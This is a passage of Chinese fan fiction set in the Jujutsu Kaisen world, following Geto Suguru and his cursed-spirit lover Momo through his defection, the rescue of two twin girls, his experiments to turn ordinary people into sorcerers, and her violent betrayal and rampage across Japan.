“小桃……”怀里的女孩没有心跳,没有呼吸,像是一具人偶。他把脸埋在她的脖颈处,身体颤抖着,“对不起……小桃……真的……非常对不起……” 沙哑的声音哽咽,恍惚中,有人轻轻抚摸着他的脊背。 温柔的手掌,不急不缓的动作。在那个春天,灰原雄死之前,他去见她的那天。他也曾这样和她抱在一起,两人蜷缩在狭窄的沙发上,享受着难得的亲密时光。 ‘在我心里,杰就是最好的,谁都比不上你。’她拍打着他的后背,像是在哄小孩。而他握着她纤细的手腕,如同抓住了一根救命稻草。 而现在,他将本属于他的东西丢掉了。 “对不起……小桃……”他呢喃着,“但是……不要原谅我,永远不要原谅我……” 如果她是因为恨着他、爱着他而存在,那么永远不原谅他的话,她就永远不会离开了吧? 他不能没有她,不要让他一个人。 【夏油杰好感值:90】 这是一个带着咸味的吻,舌尖品尝着泪水和悔恨,夹杂着浓郁的爱意,被吞入腹中。 咒灵玉的味道是很难吃的,回忆一下都会让人想要呕吐。 但她不一样。 她是冰冷的,像北极深处永远不会融化的冰山。他努力想要将自己的温度传递过去,好像这样就能让她变得暖和起来。 “亲亲我,好吗?” 从喉咙深处发出的叹息让女孩的眼皮微微颤动了一下。 “……杰……”她抬眼看他,玻璃似的眼珠倒映着少年的面容。 “小桃……”扣在她肩膀上指关节泛着白色,被水洗过的紫色眼眸像破碎的琉璃。他的睫毛在剧烈地震颤,像暴雨中濒死的飞蛾。 月光穿过窗户照在地面上,折射的冷光给他的轮廓镀上一层模糊的光晕。 他的呼吸很沉重,脖颈上凸起的青筋随着胸口的起伏而跳动。 女孩仰头,吻了上去。 她咬住了他的喉咙,叼在口中细细研磨。 要被吃掉了吗……他生出这样的错觉。 被小桃吃掉,好像也没什么不好吧。这是他亏欠她的,永远也无法偿还。 冰冷的手从衣摆下爬了进去,指腹摸过少年劲瘦的腰肢。肌肉薄而有弹性,块垒分明。 “杰……”她咕哝着,舔过他的锁骨,在上面留下细密的红痕,“杰好像……瘦了……” “是吗。”夏油杰的嘴角微微上扬,“抱歉,最近……确实没有好好吃饭呢……” “杰……要……休息……” 说完,咒灵从他的怀里退了出来。她一只手勾住了他的腿弯,一只手揽住了他的后腰。 几乎没有任何发力的前摇,下一秒,夏油杰就被她抱了起来。 “……休息……” 她非常强硬地将他放在了床上,甚至拉上了窗帘。室内一片漆黑,什么都看不见了。 凌乱的被子被扯了过来,胡乱地盖在他的身上。紧接着,有什么东西钻了进来。 夏油杰无奈地侧过身,抱住了她。他的大腿压在她的膝盖上,小腿微微弯曲,勾着她的脚踝,将她团进怀里。 “晚安,小桃。” “晚……安,杰。”。 第二天,五条悟和家入硝子坐在教室里,他们中间的位置还是空着的。 “你说……杰还能回来上课吗?”五条悟支着下巴喃喃道。 家入硝子嚼着薄荷糖,含糊回道:“不知道呢。” 这两天夜蛾正道心情不好,她决定不在教室抽烟了。 五条悟用力踢了一下桌子腿,往后倒在椅背上:“嘁,烦死了。” 哗啦—— 教室门被拉开,夜蛾正道面无表情地走了进来。 紧随其后的,是夏油杰——和小桃。 “你去后面搬一套桌椅过来。”夜蛾正道对夏油杰说,男生立刻低眉顺眼地去搬了。 “夜蛾老师,杰不是有……” “对了,我们班今天来一名新同学,今野桃。”夜蛾正道指着咒灵说道。 教室里瞬间变得安静了。 “好!欢迎新同学!”五条悟第一个鼓起掌来,“不愧是你啊,夜蛾老师!” 家入硝子跟着拍巴掌:“来吧,新同学坐我边上。” 今野桃露出了一个腼腆的笑容:“谢谢你。” 夏油杰扛着椅子路过的时候,被五条悟一把拽住。 他压低了声音问道:“你降伏她了?” 夏油杰笑了笑,锤了一下五条悟的胸口:“不是你说的吗,如何唤回公主的理智。” “……”五条悟大为震惊,“你真亲啦?!”那可是咒灵! 家入硝子呛了一下。 勉强也算是能操控咒灵的夜蛾正道看了一眼手里的娃娃,沉默不语。 这个世界,终究还是癫成他想象不到的样子了。 第65章 新同学一点都看不出来是个咒灵。 不管是从言谈还是举止上,完全没有任何异样的感觉。 “你是叫今野桃吗?”家入硝子压下心里非常想要给新同学检查身体的冲动,温柔地说道。 以今野桃对她的了解,这点温柔真的很虚假,好像黄鼠狼给鸡拜年那种。 “是啊,你好,你的名字是什么呢?”她回以假假的笑。 “我叫家入硝子,你叫我家入或者硝子都可以。”家入硝子并不在意那个,“能说一说,你的术式是什么吗?” “可以哦。”今野桃点点头,“我的术式叫做‘无为转变’,是作用于灵魂的术式,可以通过触摸改变对方的灵魂,以此改变肉。体的形状。” 所以她才没有办法治疗那些被扭曲了身体的咒术师们,因为他们不是“受伤”,而是被改变了。 “那这种改变是可逆的吗?”家入硝子好奇地问道。 今野桃想了想,有点犹豫:“理论上是可以的,不过嘛……我对于这个术式还不是很熟悉,不能保证一定可以逆转。” 破坏总是比建设更容易,而重建的难度也不会比破坏更低。 “那真是没办法了……”家入硝子喃喃,“只能强行试试看了。” 今野桃笑而不语。 另一边,五条悟勾着夏油杰的脖子,用目光示意女生那边,说道:“那她是怎么回事?忘记你做的那件事了吗?” 一觉醒来,就把他杀掉她的事情一笔勾销了? 夏油杰抿了抿嘴,回道:“她现在的记忆好像回到了几个月前,我跟她刚刚分开的那一天。” 那个时候灰原雄还没有死,他们的感情依旧热烈。 当然,现在也不曾减淡分毫。 察觉到五条悟的目光,今野桃回过头,对两人露出了一个略显腼腆的笑容。 “真好啊,杰,我又能跟你一起上课了呢。”她双手合十,满怀期待地说道。 夏油杰勉强扯了扯嘴角,五条悟颇有点看好戏的意味。 夜蛾正道环视一圈,不动声色地叹了口气。 一天就这样过去了,一切都好像回到了之前的样子,没有什么叛逃,也没有什么死亡。下午的课程快要结束时,夜蛾正道匆匆赶了回来,他带来了总监部的新命令。 关于如何处理夏油杰,总监部要求如下: 一、暂时停止夏油杰的一切任务安排; 二、禁止夏油杰离开东京都立咒术高专,如有发现违背此条,判处终身监禁; 三、安排五条悟为监督者,负责监督夏油杰的一切行为,如有异常,必须立刻上报; “这已经是我和五条家极力周旋后的结果了。”夜蛾正道像是苍老了许多,声音里都带着疲倦和沙哑,“我同他们说,你一旦死亡,所有被你调伏过的咒灵都会失去控制,包括这个特级咒灵。” 总监部也不可能要求夏油杰自断一臂,让他祓除掉这个特级咒灵,前车之鉴还摆在那呢。 “我没有告诉任何人你无法控制这个特级咒灵,知道的人只有悟和硝子,他们也不会跟别人说的。” 夏油杰低着头,轻声说道:“谢谢你,夜蛾老师。” “你毕竟是我的学生。”夜蛾正道揉了揉太阳穴,开口道,“我得承认,我对你们的关心……还是太少了。” “没有,您是一个很好的老师。”夏油杰安慰道,“是我自己的问题。” 夜蛾正道没忍住,瞪了他一眼。 “你知道自己有问题就给我好好反省,听见了没有!” “听见了听见了。”夏油杰像过去无数次犯错后那样讨饶。 五条悟也安慰他:“我们可以一起做老师,不离开高专也没事的嘛。大不了过几天我们悄悄出去玩!” 会让五条悟做监督者而不是另外派人过来,总监部的态度已经十分明确。 睁一只眼闭一只眼得了,别闹得最后大家都丢面子。 夏油杰笑了笑,没有回答。 五条悟这个时候还不知道,不回答有时候也是一种回答。 他们两人并肩坐在楼梯上,黄昏的风带着些许寒意。夏油杰弓着背,手肘支在膝盖上,悬着的十指交叉。五条悟的手撑在背后,仰着头任凭风吹动他的刘海。 西沉的太阳将他们的影子拉得很长很长。 “久等了,杰!”今野桃蹦蹦跳跳地从医务室里出来,打破了这片沉默。 夏油杰起身,接住了她。 “成功了吗?”他问道。 “差不多成了吧。”家入硝子点了根烟,不紧不慢地说道,“反正从外表上看是没问题了。” “那就好。”夏油杰松了口气,摸了摸今野桃的脑袋,“辛苦你了,小桃。” “没关系呀,能帮上杰我很开心呢。”今野桃弯着眼睛回道。 夏油杰的心软软的,他拉住她的手,对两个同窗说道:“那我们先走了。” “嗯嗯,明天见!” 五条悟朝他们摆摆手。 家入硝子瞥了他一眼,没说话…… 回到宿舍,夏油杰开始收拾东西。今野桃抱着膝盖坐在床上,看他把衣服收好,装进袋子里。 “杰是打算离开吗?”她嘴角的弧度不变,语带好奇。 夏油杰顿了顿,把抽屉里的证件掏出来,回道:“小桃不想走吗?你想抛下我一个人留在这里?” “没有啦,杰都不在,我留在这里做什么呢。”今野桃说道。 夏油杰抽空回了她一个微笑:“那你乖一点,我马上就好。” “好呀。”今野桃乖巧点头。 凌晨三点,万籁俱寂,睡着的人已然深深地进入了梦乡之中。一只巨大的蝠鲼从高空飞过,没有留下一丝痕迹。 今野桃蜷缩在少年的怀里,他按着她的后脑勺,把她的脸埋在自己怀中。 高专的老师和同学已经尽力了,他们想要让夏油杰回到他们的身边,想要让他变回以前的样子。可是,破碎的瓷器无法原模原样地恢复,即便拼凑起来,裂痕也依然存在。 从一开始,夏油杰就决意要走。如果不是意外被发现,他早就离开了。 待在高专,是没有办法实现他的理想的啊。 那些高高在上的大人物,怎么会附身去倾听底层咒术师的痛苦呢? 所以,与其把希望寄托在别人身上,不如自己行动。 会猜到这一点的,这么多人里面,可能只有家入硝子。 而今野桃比家入硝子更早知道。 没有别的原因,只是因为她知道,夏油杰整个人,真的非常非常会伪装。 伪装出坚强,伪装出云淡风轻。甚至把五条悟都骗过去了。 五条悟还是太矜持,虽然是挚友,虽然彼此信任,但如果对方坚持,他仍然会选择尊重,而不是主动打破距离。 夏油杰说自己没事,他就信了。 对付夏油杰这种人,就得狠一点。要像根楔子一样,死死地扎进他的肉里,钉住他,让他无法逃脱,才 能逼出他心中的真话。 可是,谁会对喜爱的人下这样的狠手呢? 今野桃闭上了眼睛。 嗯,她会。 “到了。” 蝠鲼咒灵落地,又化作了咒灵玉被他吸收。夏油杰牵着今野桃,走进一栋大楼,然后在隐秘处打开了一扇门。 下了阶梯后,又是一道门。 他们一把门打开,两个幼小的身影就扑了上来。 “夏油大人!”两个孩子紧紧攥着夏油杰的衣服,表情不安又惶恐,“夏油大人,您回来了。” 夏油杰挨个揉了揉她们的头发,开口道:“别怕,我回来了。” “夏油大人,您没事吧?”一个女孩关心地问道。 “没事,你们有乖乖的吗?” 女孩子们大力点头:“有的有的,我们都很乖很听话!” 夏油杰安抚完两个小孩,才抬头看向今野桃,说道:“这就是我从那个村子里救出来的孩子。他们的父母一直在保护那个村子,却被愚昧无知的村民害死,就连女儿也遭受着虐待。” 今野桃看着女孩们的面容,恍惚间和记忆中的妇人重叠在一起。 是枷场太太啊…… 她的心情有些低落,眼中泛起一丝难过。她强笑道:“你怎么不提前跟我说还有小朋友,我都没带礼物。” “没关系,以后我们就是一家人了。”夏油杰的声音像潺潺的溪水一样温柔,“一家人,不需要这么客气。” 今野桃朝两个女孩伸出了手,她们瑟缩了一下,但在夏油杰鼓励的目光下,还是没有躲开。 冰凉的指尖拂过她们的脸颊,带着心疼和怜惜。 “你们好,我叫今野桃,叫我小桃就可以了。” “小桃……姐姐。” “嗯。” 夏油杰松了一口气,揽住她的腰。两人贴在一起,一手牵着一个孩子,朝着深处走去。 四人的身影重叠,当真像极了一家四口。 第66章 枷场美美子和枷场菜菜子是一对双胞胎姐妹。她们的前半生是晦暗的,记忆中潮湿的墙壁上爬满了腐臭的霉斑,摇晃的烛火从铁栅栏的缝隙间钻进来,在凹凸不平的地面上投下扭曲的阴影。 偶尔灯芯会发出噼啪的声音,在死寂的屋子里回荡。 她们不知道自己做错了什么,她们唯一的心愿就是活下去而已。 可即便如此,仍然无法实现。 “滚开!”作为姐姐的菜菜子对笼子前的小孩发出尖锐的叫声,意图将他们吓走。 他们确实害怕得哭了起来,但随之而来的是更多的石子。 “打死你们!怪物!” 两个女孩蜷缩在角落里,菜菜子抱住妹妹,用身体挡住石子。 再忍忍,那些人……总会累的。 忍耐,要忍耐下去…… 母亲临死前的话语在耳边回响: “要好好活下去啊,美美子,菜菜子……” 吱啊—— 破旧的木门被打开,嘈杂的脚步声从远到近。 “……这是什么意思?”少年清朗的声音在笼子前响起,站在他身边的,是两个经常来伤害她们的人。 他们从前张牙舞爪的样子像极了某种野兽,可是跟少年比起来,现在又似乎矮小了不少。 “什么意思?这两个人就是这一连串事件的起因啊。” 他们的语气理所当然,显然深深地认为,这对双胞胎姐妹就是一切祸事的源头。 枷场菜菜子的手在颤抖,抱着妹妹的力气越发大了。 他们、他们是来杀掉她们的吗…… “不对。” 少年的脸上有点茫然,有点凝重。他看着她们,揉了揉额角。 “怎么不对?就是她们啊!她们一直在用不可思议的力量袭击村民!”男人大声说道。 “没错!我的孙子也差点被她们害死!”女人刻薄地指责道。 菜菜子想要为自己辩解:“不是的!是他自己……” “闭嘴!你这个怪物!”女人不耐烦地打断了她的话。 怪物…… 像是触碰到了什么禁地,少年的睫毛颤了颤。 菜菜子极力忍住眼泪。不要哭,不要哭,哭泣只会让他们更加快乐! “……当初你们刚生下来的时候,就应该把你们除掉的!”女人还在喋喋不休。 少年站在最前面,他背对着他们,那两人看不见他的表情,但菜菜子和美美子看见了。 他原本凌厉的神色逐渐平静,愤怒被吞进肚子,酝酿成了更加深刻的杀意。 他甚至对她们笑了一下。 烛火猛地抖动起来,普通人看不见的咒灵缓缓从地底下爬了出来,像是来自地狱的恶鬼。 可是,天使不曾拯救她们,恶鬼才是她们的恩人。 “别怕。”他说。 蓝色的光越来越浓郁,恶鬼将人类吃掉,也将她们的牢笼解开。 “已经没事了。”少年向她们伸出了手。 明明到处都是惨叫声、哭嚎声,为什么她们不仅不害怕,还觉得高兴呢? 母亲和父亲临死前,不也是这样吗?被欺负的时候,她们也曾发出过这样的声音吧? 少年温柔地将她们抱了起来,放在巨大的咒灵上。 “我们走吧。” “去……去哪里?” “去我们的家。”他这样回答。 这是一个陌生但漂亮的屋子,她们胆怯地在门口站了一会儿,然后少年走了出来,告诉她们已经清理干净,可以进去了。 “喜欢这里吗?”他牵着她们,慢慢地行走在回廊之间。 双胞胎姐妹大力点头:“喜欢!” “只要是您在的地方,我们都喜欢!”更加外向一些的菜菜子试图讨好他。 果然,少年笑意越发地浓了,他又摸了摸她的头顶。 菜菜子喜欢他这样摸她,宽大的手掌温暖又轻柔,让她觉得自己像是回到窝里的小鸟。 “你叫什么名字?” “菜菜子,她是我的妹妹,叫美美子。” “很可爱的名字。”他说道,“我叫夏油杰,你可以叫我……哥哥。” 但菜菜子从未这样叫过他,她和妹妹始终喊他“夏油大人。” “我要去处理一些事情,你们在家等我,不要乱跑,知道了吗?”他耐心地说道,“我很快就会回来的。” “我们知道了。” 空荡荡的屋子冷清得叫人害怕,但少年留下来的几只咒灵给了她们些许安全感。 多好笑啊,狰狞的、丑陋的咒灵,让她们觉得安心。 美美子依偎着姐姐,小声说道:“夏油大人,是去哪里呢?” 菜菜子翻出扫把,一边努力地想要做一些力所能及的事情,一边随口说道:“可能是去接妈妈了吧。” “诶?妈妈?”美美子呆呆地重复了一遍。 菜菜子这才惊觉自己不小心把心里话说了出来。再她心里,夏油大人是宛如父亲的存在,而一家人里,有父亲当然就有母亲了。 “夏油大人的妻子……”美美子回过神,手指卷着衣服,不安地说道,“她会喜欢我们吗?” 菜菜子也握紧了木棍,她低头,把地上的血迹擦干净。 “会的吧。” 如她们所希望的那样,夏油大人的妻子,她们的母亲,确确实实是一位很温柔的女性。 她的脸上总是带着微笑,说话也轻声细语,慢条斯理,从来不会像村子里的女人那样歇斯底里。 夏油大人毕竟是男性,在照顾她们的时候还是会有些不方便 。而小桃姐姐就不一样了,她会给她们洗澡,给她们换上漂亮的衣服,给她们梳头发,还会在夜里陪她们一起睡觉,给她们讲故事! 她们最喜欢的就是夏油大人和小桃姐姐了! 虽然……虽然小桃姐姐的体温很低,手永远都是冰凉的,也很少吃东西,身上偶尔会飘来血腥气…… 但这没关系,她永远都是她们的小桃姐姐,是她们的妈妈! “今天晚上还是跟菜菜子和美美子一起睡觉吗?” 夏油杰从身后抱住了心爱的恋人,将下巴搁在她的头顶上。他的身上穿着墨蓝色的袈裟,衣襟处是一条绣着暗金色织纹的带子。白色的里衣在领口处露出一截,略微有些松垮。 明明是如此禁欲的打扮,却莫名显得有几分色气。 他慢慢地把脸滑到了她的后颈,鼻尖蹭着她的耳根。 “是寂寞了吗,杰?”今野桃轻笑着问道。 “啊,有一点呢。”换了衣服的夏油杰好像挣脱了什么看不见的枷锁,在某些方面竟然变得坦率起来了。 “好吧,那今天就陪陪你好了。”今野桃抬手,摸了摸他的脸颊。 夏油杰弯了弯眼睛,放出了两只咒灵。 “今晚让它们去哄菜菜子和美美子。” 用丑陋到吓人的咒灵去哄小孩睡觉,恐怕也只有他能做得出来了吧。 但美美子和菜菜子欣然接受了。 “有夏油大人的气息!”她们这样说道,然后欢喜地带着咒灵离开了。 在她们走出房间的刹那,身后的障子门“啪”一声合上。下一秒,浓稠的黑色蔓延开来,铺满了整块地面。原本精致典雅的居室,变得宛如肮脏的泥潭。 而夏油杰是淤泥中盛开的那朵白莲花。 “杰……”她的双手环抱住他的腰,阴冷的气息从衣领处渗入,激起细密的疙瘩。 阴影慢慢地往上攀附,最后将他整个淹没。 在近乎溺毙的快乐之中,夏油杰闭上了眼睛…… “简直是不把我们放在眼里!”总监部的办公室中,有人把桌子拍得砰砰响,“我们对他还不算留情吗?都犯下这样弥天大错,也没有将他判处死刑!” “必须严惩!否则以后谁还会听从我们的命令!” “太狂妄!” 乱七八糟的声音响起来,忽然,有人说道:“那派谁去处理他呢?” 办公室短暂的安静了一下,忽然,一个声音说道:“或许,夏油杰的弱点比我们想象中的还要清楚。” 一叠资料放在了桌子上,有人低语着说:“从他的几次战斗中,我们可以分析出,他对咒术师是很容忍的。死在他手中的,基本上都是普通人。” 所以,他们只要派出合适的咒术师,就能将夏油杰拿下。 “但是,他的那个咒灵……” “难道他还能真的大开杀戒吗?”有人不以为意,“到时候他可就要被表里世界共同追杀了。” 咒术师本来就不多,数量减少后,任务就更加做不完了,越来越多的普通人也会受到生命威胁。到那时,要除掉夏油杰的,就不只是咒术界了。 “……那就试一试吧。”寥寥几句话,定下了一群人的生死,“先派一些弱一点的咒术师过去。” “让有远程攻击能力的咒术师过去吧,不要碰到那个咒灵。” 三四级的咒术师,就算死了也没关系。底层的基石,少了几块也没人在意。 这样狠毒的招数,确实对夏油杰造成了很大的不便。 要杀掉吗?但这不就违背了他心中的信念? 被团团围住的时候,夏油杰深深地叹了口气。 今野桃站了起来。 “小桃?” “我尊重杰的坚持。”她的身体逐渐融化,人类的形态摇摇欲坠,“不过,如果不是咒术师的话,就可以杀掉了吧?” 夏油杰愣住。 一双、两双、三双……无数的手掌自她身后的阴影处舒展、伸开,然后又扭曲在一起。只是看一眼,就让人的理智疯狂下坠。 “领域展开。”咒力像一张大网,将所有人罩住,“自闭圆顿裹。” 有人发出惨叫,这是灵魂被强行触碰改造的痛苦。今野桃双手合十交握,表情竟然有些悲悯。 “接下来,就从这里开始,杀掉所有人吧。” 第67章 夏油杰扛着今野桃跑了。 他的速度很快,没有任何人在此次战斗中死去。 蝠鲼咒灵在天上飞着,他一脸震惊地握着她的肩膀,说道:“你怎么不告诉我,你的术式可以改造人类?你能让咒术师变成普通人?” 今野桃对他眨了眨眼睛,俏皮地回答:“杰也没问过我呀。” 夏油杰沉默了。他以为她的咒术是改造人的身体,在他的理解中就是比家入硝子更高一层的反转术式。 如果她能让咒术师变成普通人,那么,反过来…… “你可以让普通人变成咒术师吗?”他喃喃道。 今野桃的笑容灿烂极了,像是猎物终于落入了陷阱。 “不知道耶,我也没有试过。”她顿了顿,将夏油杰的心吊得高高的,“不过应该是可以的吧。” 夏油杰的眼睛微微瞪大,紫色的眸子里像是有什么东西被点亮了。 他显然非常兴奋,呼吸都变得急促。 “我们去试试看。”他坚定地说道,“试一试,就知道可不可以了。” 今野桃笑眯眯地没说话。 不知道他怎么联系的,还真的被他找到了一个想要变成咒术师的普通人。看着男人贪婪的模样,夏油杰的眼中闪过一丝厌恶。 “这位……嗯,高木先生对吧,你确定想要拥有超乎寻常的能力吗?”夏油杰穿着袈裟,摆出一副矜持的模样,既高高在上,又显得有几分施舍的怜悯。 “是的!是的!”男人跪下来连连磕头,“我真的很想拥有超能力,听闻您能帮助我,我实在感激不尽!” 不得不说,在搞宗教这方面,夏油杰是有一手的。 瞧,这不,拿别人当试验品,别人还得感激他呢。哦对了,他还坑了这个男人一大笔钱。 简直是把物尽其用演绎得淋漓尽致。 夏油杰将男人迷晕过去,他倒在房间里,脸上还挂着期待的笑容。 “那么,就交给你了,小桃。”夏油杰看向始终默不作声的恋人,用诚恳的语气说道。 今野桃看了看这个男人,又看了看夏油杰,似乎在打量他什么。 夏油杰疑惑地回望过去。 “好呀。”今野桃走过去,蹲下,手掌按在男人的头上。 黑色的光芒涌动,几分钟后,这个男人已经拥有了足以成为三级咒术师的咒力。 夏油杰看着男人,模样有些出神,眼睛的焦点落在虚空之中,好久都没有回过神。 他的理想,竟然以这种出乎意料的方式实现了吗?只要让所有人都变成咒术师,学会控制咒力的方法,那这个世界上岂不是再也不会有咒灵了? “小桃……”夏油杰将恋人抱在怀里,压抑着自己的激动。 他的珍宝、他的挚爱,她果然是诞生于他,是他的理想化身。 不论是生还是死,他们注定要永永远远地纠缠在一起。 昏迷的男人抖动了几下,意识慢慢恢复。他茫然地爬起来,下一秒,恐惧的尖叫就卡在了喉咙之中。 他看见了!在这位夏油大人的身后,盘踞着好几只蠕动的影子!还有这个躺在夏油大人怀里的女人,她、她竟然也不是人类! 那些黑色的光是什么?为什么、为什么夏油大人和这个女人……看起来都不像是什么好人…… “哦呀,高木先生,感觉怎么样?”夏油杰眯着眼睛,勾起嘴角问道。 男人抽了抽嘴角,成为咒术师后,他能明显感觉到夏油杰身上的压迫感,这让他越发不敢放松。 “我感觉……感觉非常好,谢谢您,夏油大人。”他恭恭敬敬地说道。 夏油杰抬抬手,让男人离开了。 感受着落在身上暖洋洋的日光,夏油杰心情舒畅极了。 “或许,我知道该怎么做了。”他说道。 今野桃装作没听见,把脸埋在他的小腹。鼻间是淡淡的洗衣粉的味道,被体温烘得热乎乎的。 夏油杰很快找来了更多人做实验,这一次是三个。 如他所愿,实验再次成功。三个普通人脱胎换骨,成为了三级咒术师。 “为什么是三级呢?”他问道。 今野桃对他说:“因为三级比较顺手。再高一些,就要费更多心力了。” 夏油杰想了想,没让她研究如何提高等级。 三级也够了,甚至四级也不是不可以,反正他只是希望所有人都可以学会如何控制咒力,而不是放任负面情绪变成咒灵。 连自己的情绪都管不住,难道不能算是猴子吗。 夏油杰轻蔑地想。 在他没看见的地方,今野桃只是笑而不语。 杰啊,还是把事情想得太简单了呢。 他如果是要杀掉普通人,或许咒术界还能容忍。但他要把那么多普通人都变成咒术师,这可就触碰到某些群体的利益了。 依靠咒术师的身份,封锁着咒术界的知识,那些家族攫取了多少财富啊,不然御三家怎么可能有那么大的排场,养得起那么多仆人。 他们凭借独一份的可以驱逐咒灵的生意,大赚特赚,高专找不到学生,这背后何尝没有人在暗中推动呢。 要那么多咒术师干什么,人多了,分到的蛋糕不就少了吗。 事实也正是如此。总监部在得知这件事后,展现出了前所未有的果决。 必须立刻、马上处理掉夏油杰! 和之前的小打小闹完全不同,这次他们的杀意是真的。 领头带队的人,就是禅院直毘人,他负责用家族秘术来对抗这个特级咒灵的领域。除此之外,大大小小的各个家族除了五条外,都各自派了不少好手。 “夏油杰,你这是在玩弄生命!” “你怎么能背叛咒术界!” 一顶又一顶的帽子扣上来,夏油杰再怎么厉害,如今也只是一个十七岁的少年。 今野桃不出手的话,他毫无应对之力。 而大多数时候,她都在看戏。 “我们也必须寻找盟友了。”夏油杰苦笑道,“是我太过莽撞,不小心就走漏了消息。” 今野桃赞同地点头:“是啊,做实验的对象应该筛选得更加慎重才对。” 夏油杰抿了抿嘴。他觉得小桃好像什么都知道,但她没有选择说出口。 “盟友的话……”他压下心中的焦虑,说道,“或许我们可以跟表世界的人合作。” 大笔大笔的钱如流水一样花出去,他不信那些当官的不心疼。但是咒术师太吃天赋,他们就算心疼也没办法。 如今,他可以通过合作,与他们一同培养新的力量。 接见夏油杰的,是天皇身边的某个重要官员。他也说不清具体的职位,反正在电视上有见过。 对方态度很好,合作意向非常强烈。 “我们愿意提供足够多的实验体,来协助您进行实验。”那人侃侃而谈,“您什么都不必担心,一切琐事都可以交给我们来安排……” 夏油杰扯了扯嘴角,算是接受了。很好,现在只要给他一点时间,他就一定可以…… “我们不同意!” 正要达成协议的时候,一道凌厉的风声破门而入,这个隐秘的地方被发现了。 咒术师们怒视着屋子里的人,大声叱骂。 “三原先生,这好像违背了我们的约定吧?”禅院直毘人掀了掀眼皮,冷淡地说道,“当初我们不是说好了,咒术师的事情由咒术师处理,你们不得插手。” “更何况,这种实验简直是丧心病狂!完全不把人的生命放在眼里!” “没错,夏油杰,我劝你束手就擒,这里已经被我们彻底包围,你绝无可能逃走!” 什么爱啊,和平啊,都是虚假的。只有被动摇了利益,这些人才会如鬣狗一样撕咬上来。 夏油杰悲哀地想到了这一点。 三原先生看了一眼沉默的少年,在心中反复衡量,到底要不要为了他口中的美好未来、为了未来更多的利益而与这些咒术师翻脸。 “禅院先生,还有各位咒术师。”夏油杰开口了,“恐怕你们并不清楚,总监部的高层是如何被我杀死,大楼又是如何被我夷平的吧?想要杀了我,你们可能还做不到。” 气氛陷入凝滞。 三原先生的脸上露出了些许笑意。 咒术界,终于要被普通人撕开一个口子了吗。 “哎呀,何必喊打喊杀的呢?大家坐下来,有什么话好好谈谈吧……”他试图打圆场。 忽然,一个声音响起。站在夏油杰身边,从见面起就一直没有开口的女生说话了。 “杰,你确定,要和他们合作吗?”她语气轻柔地问道。 夏油杰扶住她的肩膀,摸了摸她的脸颊,温和地说道:“小桃,归根结底,还是咒术师的数量太少了。如果咒术师们多起来,那我们……” 他的话没能说完。 一根黑色的触手贯穿了他的腹部,鲜血飞溅,将他身后的墙壁染红。 他的恋人、他的希望正用一种无比冷漠的眼神注视着他。 “真叫我失望。”她的睫毛低垂,目光比刀锋更加锐利,不带一丝温度。她的嘴角向下撇,不是愤怒,而是近乎倦怠的厌恶,“还记得你当初跟我说什么吗,杰?” 夏油杰感受到五脏六腑在移位,伴随着皮肉被撕扯,剧烈的痛苦令他瞳孔震颤。 “你说……身为普通人,是我的原罪。”她一字一句地说道,“普通人,根本就不应该存在!” 触手被猛地抽出来,夏油杰的身体脱力地向后倒去,一团凝实的咒力死死地护住他的内脏和伤口。 “我认为,你说得很对。” 紫色的眼眸映出少女开始扭曲的身影,她的眼白也变成了黑色,这是她失控的前兆。 “所以,都别走了。”她笑道,“一起去死吧。” 十一月九日,咒灵之王暴走。 一日间,伤亡者已超过四位数。 第68章 夏油杰恍惚听见有人在他的耳边喊他的名字。 “杰?不能睡啊杰!” “快给他按住伤口!不行,肠子!肠子掉出来了!” “先止血!” 疼痛已经让他麻木了,连带着大脑也是一片混乱。他只记得那双比冬日霜雪更加寒冷的眼睛,记得她最后丢下的那句话: “人心真是多变啊,杰,你让我觉得自己很可笑。” 当初,他因为她是普通人而将她杀死;如今,他要将普通人变成咒术师纳入保护圈。 说出来都滑稽。 不过,没关系,她会自己给自己报仇。全世界只有日本这个狭小的地方因为有天元的结界而格外封建守旧,整个咒术界就像一个巨大的垃圾场。 禅院甚尔倒也没有说错,垃圾场里,不论大小,反正都是垃圾。 作为好心的玩家,今野桃要把这些垃圾全都清理掉,还世界一片干净清新! 感受痛苦吧! 先杀禅院,再除加茂,最后给五条拆迁。什么?投降?搞笑呢吧,她是咒灵,又不是人类!向咒灵投降,你一定是奸细!干掉! 如同狂风过境,咒灵之王瞬 间席卷了整个日本。 这是什么?东京塔,咬一口。 这是什么?天皇府,尝一下。 咒术师们不断退后,将越来越多的地盘让了出去。 “继续这样下去,迟早有一天,我们会退无可退的!” “那怎么办?你去跟它打?” 焦虑的气氛蔓延,他们却无可奈何。 “就没有什么办法……让它成佛吗?”隐隐绰绰的视线落在夏油杰的身上,很多人都希望他站出来,用生命平息咒灵的怨气。 可是…… “没有用的哦。”五条悟淡淡说道,“上一个像这样有着自我意识、实力无比强大的特级咒灵,好像是在一千年前吧。那个名叫菅原道真的人,因为被诬陷而死,变成了特级咒灵。” 菅原道真,也算是日本非常有名的人物了。 传承悠久的家族就是有这点好,一些不传之秘也能在家族中找到记载。 “菅原道真啊,不仅自己被贬后病死在路上,几个子女也都一同被判了流放。所以他一死就变成了特级咒灵,来找藤原家族索命。你知道最后他的怨气是如何平息的吗?” 五条悟摸着下巴,短促地笑了笑。 “呃……如何平息?” “天皇死了三个儿子,一个孙子,藤原家的那一支血脉几乎死绝,即便如此,菅原道真仍然不肯放过他们。”五条悟抱着手臂说道,“无可奈何之下,朝廷选择把菅原道真奉为‘天满天神’,建祠庙,设祭礼,藤原家族把这个特级咒灵迎进族中,世代供奉,终于在一百多年后,菅原道真才成佛去了。” 听见的人都沉默了。 “哦对了,五条家记载,上面那一长串供奉也好、祭祀也好,完全都是虚的啦。”五条悟耸了耸肩膀,“真相其实是,菅原道真在仇敌都死光了、自己的子女去世了、好友的子女也去世之后,觉得很没意思,所以才走了。” 仿佛一道天雷劈下,所有人的脸上都露出了生无可恋的表情。 如果是这样的话,单单送出夏油杰一条性命怎么够。它可是口口声声说着,要杀光所有普通人啊!难道要等它杀累了吗?! 有人忍不住偷偷去看夏油杰。 难怪咒术师要学会的第一堂课就是控制情绪,尤其是像夏油杰这样强大的咒术师。如果放任情绪失控,最后就会召唤出这样恐怖的存在啊! “好了,不要打扰病人休息。”家入硝子开口道,把其余不相干的人都赶出了病房。 带着浓烈消毒水气味的病房里,夏油杰的脸色惨白,全无血色。 也对,他那天流了那么多血,几乎快变成干尸了。 “好在你还算聪明,知道用咒力护住伤口。”家入硝子拉过一把椅子坐在他的床前。 夏油杰艰难地扯了扯嘴角:“一回生,二回熟。” 她没忍住笑了一声。 这是什么地狱笑话。 